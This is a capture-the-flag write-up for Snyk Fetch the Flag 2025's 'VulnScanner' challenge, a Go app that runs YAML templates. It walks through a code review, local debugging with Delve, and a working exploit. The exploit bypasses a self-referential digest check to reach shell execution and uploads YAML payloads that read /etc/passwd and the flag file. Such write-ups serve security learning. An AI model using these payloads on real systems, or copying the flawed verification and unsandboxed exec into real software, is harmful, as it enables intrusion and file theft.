Snyk Fetch the Flag 2025 Write-Up: VulnScanner
Snyk Fetch the Flag 2025 just wrapped up, delivering a solid mix of practical security concepts and creative challenges. One challenge stood out to me for its clever approach to testing my intuition and methodology.

VulnScanner is a web challenge that lets you define HTTP test specifications using YAML for configuration. It’s written in Go, my favorite programming language as a software developer. I wouldn’t call myself an expert, but I’ve written several professional programs with it — so this should be easy, right?
Code Review
Before spinning up anything, I usually review the code to get a sense of what I’m dealing with. I look for API endpoints and use the Snyk CLI to identify potential vulnerabilities.
Two routes stand out: /upload
, which allows us to upload YAML files, and /templates/download/
, which lets us download files from the server.
Let’s start with /templates/download/
, since the CTF challenge is about reading files from the system. Looking at its mapped handler, HandleTemplateDownload
, it seems easy to exploit—it only checks if the file exists before serving it via the http.ServeFile
method.
// src/handlers/templates.go
func HandleTemplateDownload(w http.ResponseWriter, r *http.Request) {
templateName := r.URL.Path[len("/templates/download/"):]
filePath := filepath.Join("./templates", templateName)
if _, err := os.Stat(filePath); os.IsNotExist(err) {
http.Error(w, "Template not found", http.StatusNotFound)
return
}
http.ServeFile(w, r, filePath)
}
However, after examining the method, I found that it includes a check to prevent path traversal, so that approach is a no-go.
func ServeFile(w ResponseWriter, r *Request, name string) {
if containsDotDot(r.URL.Path) {
// Too many programs use r.URL.Path to construct the argument to
// serveFile. Reject the request under the assumption that happened
// here and ".." may not be wanted.
// Note that name might not contain "..", for example if code (still
// incorrectly) used filepath.Join(myDir, r.URL.Path).
serveError(w, "invalid URL path", StatusBadRequest)
return
}
dir, file := filepath.Split(name)
serveFile(w, r, Dir(dir), file, false)
}
Next is the /upload
route, mapped to HandleUpload
. Scanning through the code, I discovered that it can execute system commands via the utils.ExecuteCode
method. However, before reaching that code block, we need to bypass a “digest” verification.
// src/handlers/upload.go
func HandleUpload(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
http.ServeFile(w, r, "static/upload.html")
} else {
// ...
digestFile := "templates/known_digests.txt"
digestExists, err := utils.VerifyDigest(string(content), digestFile)
if err != nil {
http.Error(w, "Failed to verify template digest", http.StatusUnauthorized)
return
}
if !digestExists {
http.Error(w, "Template does not match any known digests", http.StatusUnauthorized)
return
}
// ...
code, ok := parsedFields["code"].(string)
var output string
if ok {
output = utils.ExecuteCode(code)
} else {
output = "No code block found in template."
}
// ...
}
// src/utils/execution.go
func ExecuteCode(code string) string {
cmd := exec.Command("sh", "-c", code)
output, _ := cmd.CombinedOutput()
return string(output)
}
The VerifyDigest
function isn’t intuitive at first glance. To understand how it works, we need to spin up the challenge’s source code and trace its execution.
// src/utils/digest.go
func VerifyDigest(content, digestFile string) (bool, error) {
digestPattern := regexp.MustCompile(`(?m)^#\sdigest:\s([a-fA-F0-9]+)`)
matches := digestPattern.FindAllStringSubmatch(content, 1) // Only match the first line
if len(matches) == 0 {
return false, errors.New("no valid digest found")
}
firstDigest := matches[0][1]
cleanedContent := RemoveDigestComment(content)
normalizedContent := NormalizeContent(cleanedContent)
hash := sha256.Sum256([]byte(normalizedContent))
hexHash := fmt.Sprintf("%x", hash)
_, err := ioutil.ReadFile(digestFile)
if err != nil {
return false, fmt.Errorf("failed to read known digests: %w", err)
}
if strings.TrimSpace(hexHash) == firstDigest {
return true, nil
}
return false, errors.New("signature verification failed")
}
Local Testing
The first thing we need to do is update the Dockerfile to enable debugging. This involves installing Delve, a debugger for the Go programming language, and modifying the CMD
to start the debugger.
FROM golang:1.23.0
WORKDIR /app
COPY src/ .
COPY flag.txt .
RUN go mod tidy
RUN go build -o app main.go
EXPOSE 8081
RUN go install github.com/go-delve/delve/cmd/dlv@latest
CMD ["dlv", "exec", "./app", "--headless", "--listen=:2345", "--api-version=2", "--accept-multiclient"]
Next, we need to open the source code in VS Code and configure it to attach to the debugger inside the Dockerized application. We do this by creating a .vscode/launch.json
file with the following configurations.
{
"version": "0.2.0",
"configurations": [
{
"name": "Connect to server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "/app",
"cwd": "${workspaceFolder}/src",
"port": 2345,
"host": "127.0.0.1"
}
]
}
After setting up these prerequisites, let’s start the Dockerized application with the following command:
docker build -t vulnscanner . && docker run -it -p 8081:8081 -p 2345:2345 vulnscanner
This will map both the application port and the debugger port to localhost. Then, attach VS Code to the debugger by going to Run > Start Debugging or pressing F5.

Now that we’ve set up the debugger, let’s jump into it. First, we need a sample YAML file for the upload feature. We can get one from /templates/list
—let’s download example3.yaml
since it already contains the code
field, which we can modify to execute system commands.

name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /etc/passwd
# digest: 3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a
Next, let’s set a breakpoint at the first line inside the VerifyDigest
function.

Then, we upload the modified YAML file to /upload
.

By stepping through the code until the hash comparison block, we can see that it looks for the “digest comment” in the YAML file and then compares it to the actual digest of the file (excluding the digest comment). If it matches, the file is verified. That doesn’t sound secure!

Now that we understand how it works, let’s skip reading /etc/passwd
and go straight for the flag!
Exploitation
Using the debugger, let’s retrieve the digest of our malicious YAML and insert it as the “digest comment” in our final payload.
name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /app/flag.txt
# digest: 3ec41e2a51ff8ac34dadf530d4396d86a99db38daff7feb39283c068e299061a

Let’s finalize our malicious YAML payload by adding the digest we obtained from the debugger, then re-upload the file.
name: Code Execution Test
description: A template for testing code execution within the template.
type: http
requests:
- method: GET
path:
- "/test"
matchers:
- type: status
status:
- 200
code: cat /app/flag.txt
# digest: c974417a9a8d98e0197ed1cc76eae848311bac6c797b1730ba43108e581ca510

We’ve successfully read flag.txt
from the Dockerized application! Of course, we can use the same payload on the actual challenge instance, which is still accessible in Snyk Fetch the Flag as of this writing.